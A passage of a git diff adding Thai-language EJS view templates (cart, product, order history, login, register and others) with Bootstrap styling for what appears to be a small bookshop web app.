transform 0.2s ease; +} + +.product-image:hover { + transform: scale(1.05); +} + +/* --- การปรับแต่งเพิ่มเติม --- */ +h1, h2, h3, h4, h5, h6 { + color: #222; + margin-bottom: 15px; +} + +p { + line-height: 1.6; +} + +a { + color: #ff6600; + text-decoration: none; + transition: color 0.2s ease; +} + +a:hover { + color: #cc5200; +} + + </style> +</head> +<body> + +<div class="container"> + <h2 class="text-center mb-4">ตะกร้าสินค้าของคุณ</h2> + + <% if (cart.length > 0) { %> + <table class="table table-bordered"> + <thead> + <tr> + <th>รูปสินค้า</th> + <th>ชื่อสินค้า</th> + <th>จำนวน</th> + <th>ราคา</th> + <th>รวม</th> + <th>ลบ</th> + </tr> + </thead> + <tbody> + <% cart.forEach(item => { %> + <tr> + <td><img src="<%= item.image %>" class="product-image"></td> + <td><%= item.product_name %></td> + <td><%= item.quantity %></td> + <td><%= item.price %> บาท</td> + <td><%= (item.price * item.quantity).toFixed(2) %> บาท</td> + <td> + <form action="/cart/remove/<%= item.product_id %>" method="POST"> + <button type="submit" class="btn btn-danger btn-sm">ลบ</button> + </form> + </td> + </tr> + <% }) %> + </tbody> + </table> + + <h3>ยอดรวม: <%= cart.reduce((sum, item) => sum + item.price * item.quantity, 0).toFixed(2) %> บาท</h3> + + <form action="/checkout" method="POST"> + <button type="submit" class="btn btn-orange w-100">ยืนยันคำสั่งซื้อ</button> + </form> + <% } else { %> + <p class="text-center text-danger">ไม่มีสินค้าในตะกร้า</p> + <% } %> + + <div class="text-center mt-3"> + <a href="/" class="btn btn-secondary">กลับไปซื้อสินค้า</a> + </div> +</div> + +<!-- Bootstrap JS --> +<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script> +</body> +</html> diff --git a/views/editProduct.ejs b/views/editProduct.ejs new file mode 100644 index 0000000..ccc403f --- /dev/null +++ b/views/editProduct.ejs @@ -0,0 +1,117 @@ +<!DOCTYPE html> +<html lang="th"> +<head> + <meta charset="UTF-8"> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <title>แก้ไขสินค้า</title> + <!-- Bootstrap CSS --> + <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css"> + <style> + /* --- พื้นหลังและสีตัวอักษรหลัก --- */ +body { + background-color: #fafafa; + color: #333; + font-family: Arial, sans-serif; +} + +/* --- กล่องคอนเทนเนอร์หลัก --- */ +.container { + max-width: 600px; + margin: 50px auto; + background: #ffffff; + padding: 25px; + border-radius: 12px; + box-shadow: 0 6px 16px rgba(0, 0, 0, 0.1); /* เพิ่มความลึกของเงา */ + transition: box-shadow 0.3s ease; +} + +.container:hover { + box-shadow: 0 8px 20px rgba(0, 0, 0, 0.15); /* เพิ่มเงาเมื่อ hover */ +} + +/* --- ปุ่มหลัก (สีส้ม) --- */ +.btn-orange { + background-color: #ff6600; + color: white; + border: none; + padding: 12px 20px; + border-radius: 8px; + font-size: 16px; + font-weight: 500; + transition: background-color 0.2s ease, transform 0.1s ease; + cursor: pointer; + box-shadow: 0 4px 12px rgba(255, 102, 0, 0.3); +} + +.btn-orange:hover { + background-color: #cc5200; + transform: translateY(-2px); + box-shadow: 0 6px 16px rgba(204, 82, 0, 0.4); +} + +.btn-orange:active { + background-color: #b34700; + transform: translateY(0); + box-shadow: 0 3px 8px rgba(204, 82, 0, 0.3); +} + +/* --- ปรับแต่งเพิ่มเติมสำหรับความสวยงาม --- */ +h1, h2, h3, h4, h5, h6 { + color: #222; + margin-bottom: 15px; +} + +p { + line-height: 1.6; +} + +a { + color: #ff6600; + text-decoration: none; + transition: color 0.2s ease; +} + +a:hover { + color: #cc5200; +} + + </style> +</head> +<body> + +<div class="container"> + <h2 class="text-center mb-4">แก้ไขสินค้า</h2> + + <form action="/products/<%= product.product_id %>/update" method="POST"> + <div class="mb-3"> + <label class="form-label">ชื่อสินค้า:</label> + <input type="text" name="product_name" value="<%= product.product_name %>" class="form-control" required> + </div> + + <div class="mb-3"> + <label class="form-label">ราคา:</label> + <input type="number" name="price" value="<%= product.price %>" class="form-control" required> + </div> + + <div class="mb-3"> + <label class="form-label">ลิงก์รูปภาพ:</label> + <input type="text" name="image" value="<%= product.image %>" class="form-control"> + </div> + + <div class="mb-3"> + <label class="form-label">รายละเอียด:</label> + <textarea name="description" class="form-control" required><%= product.description %></textarea> + </div> + + <button type="submit" class="btn btn-orange w-100">บันทึกการแก้ไข</button> + </form> + + <div class="text-center mt-3"> + <a href="/" class="btn btn-secondary">กลับหน้าหลัก</a> + </div> +</div> + +<!-- Bootstrap JS --> +<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script> +</body> +</html> diff --git a/views/index.ejs b/views/index.ejs index 6cafeb5..98e68e1 100644 --- a/views/index.ejs +++ b/views/index.ejs @@ -1,18 +1,116 @@ <!DOCTYPE html> <html lang="en"> -<head> - <meta charset="UTF-8"> - <meta name="viewport" content="width=device-width, initial-scale=1.0"> - <title><%= title %></title> -</head> -<body> - <h1>Welcome to <%= title %></h1> - <nav> - <ul> - <li><a href="/products">View Products</a></li> - <li><a href="/users/register">Register</a></li> - <li><a href="/users/login">Login</a></li> - </ul> - </nav> -</body> -</html> + <head> + <!-- basic --> + <meta charset="utf-8"> + <meta http-equiv="X-UA-Compatible" content="IE=edge"> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <!-- mobile metas --> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <meta name="viewport" content="initial-scale=1, maximum-scale=1"> + <!-- site metas --> + <title>Grand Coffee</title> + <meta name="keywords" content=""> + <meta name="description" content=""> + <meta name="author" content=""> + <!-- bootstrap css --> + <link rel="stylesheet" type="text/css" href="css/bootstrap.min.css"> + <!-- style css --> + <link rel="stylesheet" type="text/css" href="css/style.css"> + <!-- Responsive--> + <link rel="stylesheet" href="css/responsive.css"> + <link rel="stylesheet" href="css/index.css"> + <!-- fevicon --> + <link rel="icon" href="images/fevicon.png" type="image/gif" /> + <!-- Scrollbar Custom CSS --> + <link rel="stylesheet" href="css/jquery.mCustomScrollbar.min.css"> + <!-- Tweaks for older IEs--> + <link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css"> + <!-- owl stylesheets --> + <link rel="stylesheet" href="css/owl.carousel.min.css"> + <link rel="stylesheet" href="css/owl.theme.default.min.css"> + <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.css" media="screen"> + </head> + <body class="bg-light"> + <!--header section start --> + <div class="header_section"> + <div class="container-fluid"> + <nav class="navbar navbar-expand-lg navbar-light bg-light"> + <div class="logo"><a href="/"><h1 style="color: aliceblue;" class="h1">Bookshop</h1></a></div> + <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav"aria-expanded="false" aria-label="Toggle navigation"> + <span class="navbar-toggler-icon"></span> + </button> + <div class="collapse navbar-collapse" id="navbarNav"> + <ul class="navbar-nav ml-auto"> + <li class="nav-item active"> + <a class="nav-link" href="/">Home</a> + </li> + <% if (loggedIn) { %> + <li class="nav-item"> + <a class="nav-link" href="/orderHistory">History</a> + </li> + <li class="nav-item"> + <a class="nav-link" href="/cart">cart</a> + </li> + <li class="nav-item"> + <a class="nav-link" href="/addProduct">create</a> + </li> + <li class="nav-item"> + <a class="nav-link text-danger" href="/logout">Logout</a> + </li> + <% } %> + <% if (!loggedIn) { %> + <li class="nav-item"> + <a class="nav-link" href="/login">Login</a> + </li> + <li class="nav-item"> + <a class="nav-link" href="/register">Register</a> + </li> + <% } %> + </ul> + </div> + </nav> + </div> + </div> + <!--header section end --> + <!-- gallery section start --> + <div class="gallery_section layout_padding"> + <div class="container"> + <div class="row"> + <form action="/search" method="GET" class="col-sm-12"> + <input type="text" name="q" placeholder="ค้นหาสินค้า..." required class="search"> + <button type="submit" class="btn btn-orange">ค้นหา</button> + </form> + </div> + <div class=""> + <div class="gallery_section_2"> + <div class="row"> + <% products.forEach(product => { %> + <div class="col-md-4"> + <div class="container_main"> + <a href="/product/<%= product.product_id %>"> <!-- ให้คลิกได้ที่รูปหรือกล่องทั้งใบ --> + <img src="<%= product.image %>" alt="Avatar" class="image"> + <div class="container"> + <h1><%= product.product_name %></h1> + </div> + </a> + </div> + </div> + <% }) %> + </div> + </div> + </div> + </div> + </div> + <!-- gallery section end --> + <!-- Javascript files--> + <script src="js/jquery.min.js"></script> + <script src="js/popper.min.js"></script> + <script src="js/bootstrap.bundle.min.js"></script> + <script src="js/jquery-3.0.0.min.js"></script> + <script src="js/plugin.js"></script> + <!-- sidebar --> + <script src="js/jquery.mCustomScrollbar.concat.min.js"></script> + <script src="js/custom.js"></script> + </body> +</html> \ No newline at end of file diff --git a/views/login.ejs b/views/login.ejs index 136c05b..ede668b 100644 --- a/views/login.ejs +++ b/views/login.ejs @@ -1,19 +1,191 @@ -<!DOCTYPE html> -<html lang="en"> -<head> - <meta charset="UTF-8"> - <meta name="viewport" content="width=device-width, initial-scale=1.0"> - <title>Login</title> -</head> -<body> - <h1>Login</h1> - <form action="/users/login" method="POST"> - <label for="email">Email:</label> - <input type="email" id="email" name="email" required><br><br> - <label for="password">Password:</label> - <input type="password" id="password" name="password" required><br><br> - <button type="submit">Login</button> + +<!doctype html> +<html lang="en" data-bs-theme="auto"> + <head><script src="/js/color-modes.js"></script> + + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <meta name="description" content=""> + <meta name="author" content="Mark Otto, Jacob Thornton, and Bootstrap contributors"> + <meta name="generator" content="Hugo 0.122.0"> + <title>Signin</title> + + <link rel="canonical" href="https://getbootstrap.com/docs/5.3/examples/sign-in/"> + + + + <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@docsearch/css@3"> + +<link href="/css/bootstrap.min.css" rel="stylesheet" crossorigin="anonymous"> + + <!-- Favicons --> +<link rel="apple-touch-icon" href="/docs/5.3/assets/img/favicons/apple-touch-icon.png" sizes="180x180"> +<link rel="icon" href="/docs/5.3/assets/img/favicons/favicon-32x32.png" sizes="32x32" type="image/png"> +<link rel="icon" href="/docs/5.3/assets/img/favicons/favicon-16x16.png" sizes="16x16" type="image/png"> +<link rel="manifest" href="/docs/5.3/assets/img/favicons/manifest.json"> +<link rel="mask-icon" href="/docs/5.3/assets/img/favicons/safari-pinned-tab.svg" color="#712cf9"> +<link rel="icon" href="/docs/5.3/assets/img/favicons/favicon.ico"> +<meta name="theme-color" content="#712cf9"> + + + <style> +/* --- ข้อความ Placeholder --- */ +.bd-placeholder-img { + font-size: 1.125rem; + text-anchor: middle; + -webkit-user-select: none; + -moz-user-select: none; + user-select: none; +} + +@media (min-width: 768px) { + .bd-placeholder-img-lg { + font-size: 3.5rem; + } +} + +/* --- Divider --- */ +.b-example-divider { + width: 100%; + height: 3rem; + background-color: rgba(0, 0, 0, .05); + border: solid rgba(0, 0, 0, .1); + border-width: 1px 0; + box-shadow: inset 0 .5em 1.5em rgba(0, 0, 0, .05), inset 0 .125em .5em rgba(0, 0, 0, .1); + transition: box-shadow 0.3s ease; +} + +.b-example-divider:hover { + box-shadow: inset 0 .75em 2em rgba(0, 0, 0, .1), inset 0 .25em .75em rgba(0, 0, 0, .2); +} + +/* --- Vertical Divider --- */ +.b-example-vr { + flex-shrink: 0; + width: 1.5rem; + height: 100vh; +} + +/* --- Icon สีและการจัดตำแหน่ง --- */ +.bi { + vertical-align: -.125em; + fill: currentColor; +} + +/* --- Navbar Scroll --- */ +.nav-scroller { + position: relative; + z-index: 2; + height: 2.75rem; + overflow-y: hidden; +} + +.nav-scroller .nav { + display: flex; + flex-wrap: nowrap; + padding-bottom: 1rem; + margin-top: -1px; + overflow-x: auto; + text-align: center; + white-space: nowrap; + gap: 12px; /* เพิ่มระยะห่างระหว่าง nav-item */ + -webkit-overflow-scrolling: touch; +} + +/* --- ปุ่มหลัก (สีม่วง) --- */ +.btn-bd-primary { + --bd-violet-bg: #6f42c1; + --bd-violet-rgb: 111, 66, 193; + + --bs-btn-font-weight: 600; + --bs-btn-color: #ffffff; + --bs-btn-bg: var(--bd-violet-bg); + --bs-btn-border-color: var(--bd-violet-bg); + --bs-btn-hover-color: #ffffff; + --bs-btn-hover-bg: #5a32a3; + --bs-btn-hover-border-color: #5a32a3; + --bs-btn-focus-shadow-rgb: var(--bd-violet-rgb); + --bs-btn-active-color: #ffffff; + --bs-btn-active-bg: #4e2a8f; + --bs-btn-active-border-color: #4e2a8f; + + padding: 10px 20px; + border-radius: 8px; + transition: background-color 0.2s ease, box-shadow 0.2s ease; + box-shadow: 0 4px 8px rgba(111, 66, 193, 0.3); +} + +.btn-bd-primary:hover { + box-shadow: 0 6px 12px rgba(111, 66, 193, 0.4); + transform: translateY(-2px); +} + +.btn-bd-primary:active { + box-shadow: 0 4px 8px rgba(111, 66, 193, 0.3); + transform: translateY(0); +} + +/* --- Mode Toggle --- */ +.bd-mode-toggle { + z-index: 1500; +} + +.bd-mode-toggle .dropdown-menu .active .bi { + display: block !important; +} + + </style> + + + <!-- Custom styles for this template --> + <link href="/css/sign-in.css" rel="stylesheet"> + </head> + <body class="d-flex align-items-center py-4 bg-body-tertiary"> + <svg xmlns="http://www.w3.org/2000/svg" class="d-none"> + <symbol id="check2" viewBox="0 0 16 16"> + <path d="M13.854 3.646a.5.5 0 0 1 0 .708l-7 7a.5.5 0 0 1-.708 0l-3.5-3.5a.5.5 0 1 1 .708-.708L6.5 10.293l6.646-6.647a.5.5 0 0 1 .708 0z"/> + </symbol> + <symbol id="circle-half" viewBox="0 0 16 16"> + <path d="M8 15A7 7 0 1 0 8 1v14zm0 1A8 8 0 1 1 8 0a8 8 0 0 1 0 16z"/> + </symbol> + <symbol id="moon-stars-fill" viewBox="0 0 16 16"> + <path d="M6 .278a.768.768 0 0 1 .08.858 7.208 7.208 0 0 0-.878 3.46c0 4.021 3.278 7.277 7.318 7.277.527 0 1.04-.055 1.533-.16a.787.787 0 0 1 .81.316.733.733 0 0 1-.031.893A8.349 8.349 0 0 1 8.344 16C3.734 16 0 12.286 0 7.71 0 4.266 2.114 1.312 5.124.06A.752.752 0 0 1 6 .278z"/> + <path d="M10.794 3.148a.217.217 0 0 1 .412 0l.387 1.162c.173.518.579.924 1.097 1.097l1.162.387a.217.217 0 0 1 0 .412l-1.162.387a1.734 1.734 0 0 0-1.097 1.097l-.387 1.162a.217.217 0 0 1-.412 0l-.387-1.162A1.734 1.734 0 0 0 9.31 6.593l-1.162-.387a.217.217 0 0 1 0-.412l1.162-.387a1.734 1.734 0 0 0 1.097-1.097l.387-1.162zM13.863.099a.145.145 0 0 1 .274 0l.258.774c.115.346.386.617.732.732l.774.258a.145.145 0 0 1 0 .274l-.774.258a1.156 1.156 0 0 0-.732.732l-.258.774a.145.145 0 0 1-.274 0l-.258-.774a1.156 1.156 0 0 0-.732-.732l-.774-.258a.145.145 0 0 1 0-.274l.774-.258c.346-.115.617-.386.732-.732L13.863.1z"/> + </symbol> + <symbol id="sun-fill" viewBox="0 0 16 16"> + <path d="M8 12a4 4 0 1 0 0-8 4 4 0 0 0 0 8zM8 0a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 0zm0 13a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 13zm8-5a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2a.5.5 0 0 1 .5.5zM3 8a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2A.5.5 0 0 1 3 8zm10.657-5.657a.5.5 0 0 1 0 .707l-1.414 1.415a.5.5 0 1 1-.707-.708l1.414-1.414a.5.5 0 0 1 .707 0zm-9.193 9.193a.5.5 0 0 1 0 .707L3.05 13.657a.5.5 0 0 1-.707-.707l1.414-1.414a.5.5 0 0 1 .707 0zm9.193 2.121a.5.5 0 0 1-.707 0l-1.414-1.414a.5.5 0 0 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .707zM4.464 4.465a.5.5 0 0 1-.707 0L2.343 3.05a.5.5 0 1 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .708z"/> + </symbol> + </svg> + +<main class="form-signin w-100 m-auto"> + <form action="/user/login" method="POST"> + <% if (message && message.length > 0) { %> + <div class="alert alert-danger" role="alert"> + <%= message %> + </div> + <% } %> + + <h1 class="h3 mb-3 fw-normal">Sign in</h1> + + <div class="form-floating"> + <label for="floatingInput">Email address</label> + <input type="email" class="form-control" id="floatingInput" name="email" placeholder="name@example.com"> + </div> + <div class="form-floating"> + <label for="floatingPassword">Password</label> + <input type="password" class="form-control" id="floatingPassword" name="rpassword" placeholder="Password"> + </div> + + <div class="form-check text-start my-3"> + <input class="form-check-input" type="checkbox" value="remember-me" id="flexCheckDefault"> + <label class="form-check-label" for="flexCheckDefault"> + Remember me + </label> + </div> + <button class="btn btn-primary w-100 py-2" type="submit">Sign in</button> </form> - <a href="/">Back to Home</a> -</body> -</html> +</main> +<script src="/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script> + + </body> +</html> \ No newline at end of file diff --git a/views/orderConfirmation.ejs b/views/orderConfirmation.ejs new file mode 100644 index 0000000..dcabaf4 --- /dev/null +++ b/views/orderConfirmation.ejs @@ -0,0 +1,97 @@ +<!DOCTYPE html> +<html lang="th"> +<head> + <meta charset="UTF-8"> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <title>สั่งซื้อสำเร็จ!</title> + <!-- Font Awesome --> + <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"> + <!-- Bootstrap CSS --> + <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css"> + <style> + body { + background-color: #f4f4f4; + color: #333; + font-family: Arial, sans-serif; +} + +/* --- Container --- */ +.container { + max-width: 600px; + margin-top: 50px; + padding: 24px; + background: #ffffff; + border-radius: 12px; + box-shadow: 0 6px 12px rgba(0, 0, 0, 0.08); + transition: box-shadow 0.3s ease, transform 0.2s ease; +} + +.container:hover { + box-shadow: 0 12px 24px rgba(0, 0, 0, 0.15); + transform: translateY(-4px); +} + +/* --- ปุ่ม Orange --- */ +.btn-orange { + background-color: #ff6600; + color: white; + border: none; + padding: 12px 20px; + border-radius: 8px; + font-size: 16px; + font-weight: 600; + cursor: pointer; + transition: background-color 0.2s ease, box-shadow 0.2s ease; + box-shadow: 0 4px 8px rgba(255, 102, 0, 0.3); +} + +.btn-orange:hover { + background-color: #cc5200; + box-shadow: 0 6px 12px rgba(255, 102, 0, 0.4); + transform: translateY(-2px); +} + +.btn-orange:active { + background-color: #b34700; + box-shadow: 0 4px 8px rgba(255, 102, 0, 0.3); + transform: translateY(0); +} + +/* --- ไอคอน Checkmark --- */ +.checkmark-icon { + font-size: 48px; + color: #28a745; + display: block; + margin: 16px auto; + animation: popIn 0.3s ease; +} + +@keyframes popIn { + 0% { + transform: scale(0.5); + opacity: 0; + } + 100% { + transform: scale(1); + opacity: 1; + } +} + </style> +</head> +<body> + +<div class="container text-center"> + <h2 class="mb-3">สั่งซื้อสำเร็จ!</h2> + <i class="fas fa-check-circle checkmark-icon"></i> <!-- Font Awesome Tick Icon --> + + <p class="mt-3">ขอบคุณที่สั่งซื้อสินค้ากับเรา</p> + + <div class="mt-3"> + <a href="/" class="btn btn-orange w-100">กลับไปหน้าหลัก</a> + </div> +</div> + +<!-- Bootstrap JS --> +<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script> +</body> +</html> diff --git a/views/orderHistory.ejs b/views/orderHistory.ejs new file mode 100644 index 0000000..5e07719 --- /dev/null +++ b/views/orderHistory.ejs @@ -0,0 +1,127 @@ +<!DOCTYPE html> +<html lang="th"> +<head> + <meta charset="UTF-8"> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <title>ประวัติการสั่งซื้อ</title> + <!-- Bootstrap CSS --> + <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css"> + <style> +/* --- พื้นหลังและสีตัวอักษร --- */ +body { + background-color: #f4f4f4; + color: #333; + font-family: Arial, sans-serif; +} + +/* --- Container --- */ +.container { + max-width: 900px; + margin-top: 30px; + padding: 20px; + background: #ffffff; + border-radius: 12px; + box-shadow: 0 6px 12px rgba(0, 0, 0, 0.1); + transition: box-shadow 0.2s ease, transform 0.2s ease; +} + +.container:hover { + transform: translateY(-3px); + box-shadow: 0 10px 20px rgba(0, 0, 0, 0.15); +} + +/* --- ปุ่ม Orange --- */ +.btn-orange { + background-color: #ff6600; + color: #ffffff; + border: none; + padding: 10px 16px; + border-radius: 8px; + font-size: 16px; + font-weight: 600; + cursor: pointer; + transition: background-color 0.2s ease, box-shadow 0.2s ease; + box-shadow: 0 4px 8px rgba(255, 102, 0, 0.3); +} + +.btn-orange:hover { + background-color: #cc5200; + box-shadow: 0 6px 12px rgba(255, 102, 0, 0.4); + transform: translateY(-2px); +} + +.btn-orange:active { + background-color: #b34700; + box-shadow: 0 4px 8px rgba(255, 102, 0, 0.3); + transform: translateY(0); +} + +/* --- รูปภาพสินค้า --- */ +.product-image { + max-width: 100px; + height: auto; + border-radius: 8px; + object-fit: cover; + transition: transform 0.2s ease; +} + +.product-image:hover { + transform: scale(1.05); +} + +/* --- Order Card --- */ +.order-card { + border: 1px solid #ddd; + padding: 16px; + margin-bottom: 20px; + background: #ffffff; + border-radius: 12px; + box-shadow: 0 4px 8px rgba(0, 0, 0, 0.08); + transition: box-shadow 0.2s ease, transform 0.2s ease; +} + +.order-card:hover { + transform: translateY(-3px); + box-shadow: 0 8px 16px rgba(0, 0, 0, 0.12); +} + + </style> +</head> +<body> + +<div class="container"> + <h2 class="text-center mb-4">ประวัติการสั่งซื้อ</h2> + + <% if (orders.length > 0) { %> + <% orders.forEach(order => { %> + <div class="order-card"> + <h3>คำสั่งซื้อหมายเลข: <%= order.order_id %></h3> + <p><strong>วันที่สั่งซื้อ:</strong> <%= order.created_at %></p> + <p><strong>ยอดรวม:</strong> <%= order.total_amount %> บาท</p> + + <h4>รายการสินค้า:</h4> + <ul> + <% order.items.forEach(item => { %> + <li> + <img src="<%= item.image %>" class="product-image" alt="<%= item.product_name %>"> + <b><%= item.product_name %></b> - + จำนวน: <%= item.quantity %> - + ราคา: <%= item.price %> บาท + </li> + <% }) %> + </ul> + </div> + <% }) %> + <% } else { %> + <p class="text-center text-danger">คุณยังไม่มีประวัติการสั่งซื้อ</p> + <% } %> + + <div class="text-center mt-3"> + <a href="/" class="btn btn-secondary">กลับไปหน้าหลัก</a> + </div> +</div> + +<!-- Bootstrap JS --> +<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script> +</body> +</html> diff --git a/views/product.ejs b/views/product.ejs new file mode 100644 index 0000000..fc95e98 --- /dev/null +++ b/views/product.ejs @@ -0,0 +1,157 @@ +<!DOCTYPE html> +<html lang="th"> +<head> + <meta charset="UTF-8"> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <title><%= product.product_name %> | Bookshop</title> + <!-- Bootstrap CSS --> + <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css"> + <link rel="stylesheet" href="/css/product.css"> + <style> +/* --- Background และตัวอักษร --- */ +body { + background-color: #1a1a1a; + color: #ffffff; + font-family: Arial, sans-serif; +} + +/* --- Container --- */ +.container { + max-width: 800px; + margin-top: 50px; + background: #222; + padding: 24px; + border-radius: 12px; + box-shadow: 0 6px 12px rgba(255, 165, 0, 0.15); + transition: transform 0.2s ease, box-shadow 0.2s ease; +} + +.container:hover { + transform: translateY(-4px); + box-shadow: 0 12px 24px rgba(255, 165, 0, 0.25); +} + +/* --- Product Image --- */ +.product-image { + max-width: 100%; + border-radius: 12px; + object-fit: cover; + transition: transform 0.2s ease; +} + +.product-image:hover { + transform: scale(1.03); +} + +/* --- ปุ่ม Orange --- */ +.btn-orange { + background-color: #ff6600; + color: white; + border: none; + padding: 10px 18px; + border-radius: 8px; + font-size: 16px; + font-weight: 600; + cursor: pointer; + transition: background-color 0.2s ease, transform 0.1s ease; + box-shadow: 0 4px 8px rgba(255, 102, 0, 0.3); +} + +.btn-orange:hover { + background-color: #cc5200; + transform: translateY(-2px); + box-shadow: 0 6px 12px rgba(255, 102, 0, 0.4); +} + +.btn-orange:active { + background-color: #b34700; + transform: translateY(0); +} + +/* --- ปุ่ม Yellow --- */ +.btn-yellow { + background-color: #ffcc00; + color: black; + padding: 10px 18px; + border-radius: 8px; + font-size: 16px; + font-weight: 600; + cursor: pointer; + transition: background-color 0.2s ease, transform 0.1s ease; + box-shadow: 0 4px 8px rgba(255, 204, 0, 0.3); +} + +.btn-yellow:hover { + background-color: #e6b800; + transform: translateY(-2px); + box-shadow: 0 6px 12px rgba(255, 204, 0, 0.4); +} + +.btn-yellow:active { + background-color: #cca300; + transform: translateY(0); +} + +/* --- ปุ่ม Danger --- */ +.btn-danger { + background-color: #ff4d4d; + color: white; + padding: 10px 18px; + border-radius: 8px; + font-size: 16px; + font-weight: 600; + cursor: pointer; + transition: background-color 0.2s ease, transform 0.1s ease; + box-shadow: 0 4px 8px rgba(255, 77, 77, 0.3); +} + +.btn-danger:hover { + background-color: #e60000; + transform: translateY(-2px); + box-shadow: 0 6px 12px rgba(255, 77, 77, 0.4); +} + +.btn-danger:active { + background-color: #cc0000; + transform: translateY(0); +} + + </style> +</head> +<body> + +<div class="container text-center"> + <h1 class="mb-3"><%= product.product_name %></h1> + <img src="<%= product.image %>" alt="<%= product.product_name %>" class="product-image mb-3"> + <p><strong>ราคา:</strong> <span class="text-warning"><%= product.price %> บาท</span></p> + <p><strong>รายละเอียด:</strong> <%= product.description || "ไม่มีรายละเอียด" %></p> + <p><strong>สร้างโดย:</strong> <%= product.owner %></p> + + <% if (currentUserEmail === product.owner) { %> + <div class="d-flex justify-content-center gap-2"> + <form action="/delete_product/<%= product.product_id %>" method="POST" onsubmit="return confirm('ยืนยันการลบสินค้านี้?');"> + <button type="submit" class="btn btn-danger">ลบสินค้า</button> + </form> + <form action="/products/<%= product.product_id %>/edit" method="GET"> + <button type="submit" class="btn btn-yellow">แก้ไขสินค้า</button> + </form> + </div> + <% } %> + + <form action="/cart/add" method="POST" class="mt-3"> + <input type="hidden" name="product_id" value="<%= product.product_id %>"> + <input type="hidden" name="price" value="<%= product.price %>"> + <div class="d-flex justify-content-center align-items-center gap-2"> + <label>จำนวน:</label> + <input type="number" name="quantity" value="1" min="1" class="form-control w-25"> + <button type="submit" class="btn btn-orange">เพิ่มลงตะกร้า</button> + </div> + </form> + + <a href="/" class="btn btn-secondary mt-3">กลับหน้าหลัก</a> +</div> + +<!-- Bootstrap JS --> +<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script> +</body> +</html> diff --git a/views/products.ejs b/views/products.ejs deleted file mode 100644 index d9ae389..0000000 --- a/views/products.ejs +++ /dev/null @@ -1,22 +0,0 @@ -<!DOCTYPE html> -<html lang="en"> -<head> - <meta charset="UTF-8"> - <meta name="viewport" content="width=device-width, initial-scale=1.0"> - <title>Products List</title> -</head> -<body> - <h1>Products</h1> - <ul> - <% products.forEach(product => { %> - <li> - <h2><%= product.name %></h2> - <p><%= product.description %></p> - <p>Price: <%= product.price %></p> - <p>Quantity: <%= product.quantity %></p> - </li> - <% }); %> - </ul> - <a href="/">Back to Home</a> -</body> -</html> diff --git a/views/register.ejs b/views/register.ejs index 6341070..2f12282 100644 --- a/views/register.ejs +++ b/views/register.ejs @@ -1,19 +1,176 @@ -<!DOCTYPE html> -<html lang="en"> -<head> - <meta charset="UTF-8"> - <meta name="viewport" content="width=device-width, initial-scale=1.0"> - <title>Register</title> -</head> -<body> - <h1>Register</h1> - <form action="/users/register" method="POST"> - <label for="email">Email:</label> - <input type="email" id="email" name="email" required><br><br> - <label for="password">Password:</label> - <input type="password" id="password" name="password" required><br><br> - <button type="submit">Register</button> + +<!doctype html> +<html lang="en" data-bs-theme="auto"> + <head><script src="/js/color-modes.js"></script> + + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <meta name="description" content=""> + <meta name="author" content="Mark Otto, Jacob Thornton, and Bootstrap contributors"> + <meta name="generator" content="Hugo 0.122.0"> + <title>Signup</title> + + <link rel="canonical" href="https://getbootstrap.com/docs/5.3/examples/sign-in/"> + + + + <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@docsearch/css@3"> + +<link href="/css/bootstrap.min.css" rel="stylesheet" crossorigin="anonymous"> + + <!-- Favicons --> +<link rel="apple-touch-icon" href="/docs/5.3/assets/img/favicons/apple-touch-icon.png" sizes="180x180"> +<link rel="icon" href="/docs/5.3/assets/img/favicons/favicon-32x32.png" sizes="32x32" type="image/png"> +<link rel="icon" href="/docs/5.3/assets/img/favicons/favicon-16x16.png" sizes="16x16" type="image/png"> +<link rel="manifest" href="/docs/5.3/assets/img/favicons/manifest.json"> +<link rel="mask-icon" href="/docs/5.3/assets/img/favicons/safari-pinned-tab.svg" color="#712cf9"> +<link rel="icon" href="/docs/5.3/assets/img/favicons/favicon.ico"> +<meta name="theme-color" content="#712cf9"> + + + <style> +.bd-placeholder-img { + font-size: 1rem; + text-anchor: middle; + user-select: none; + color: 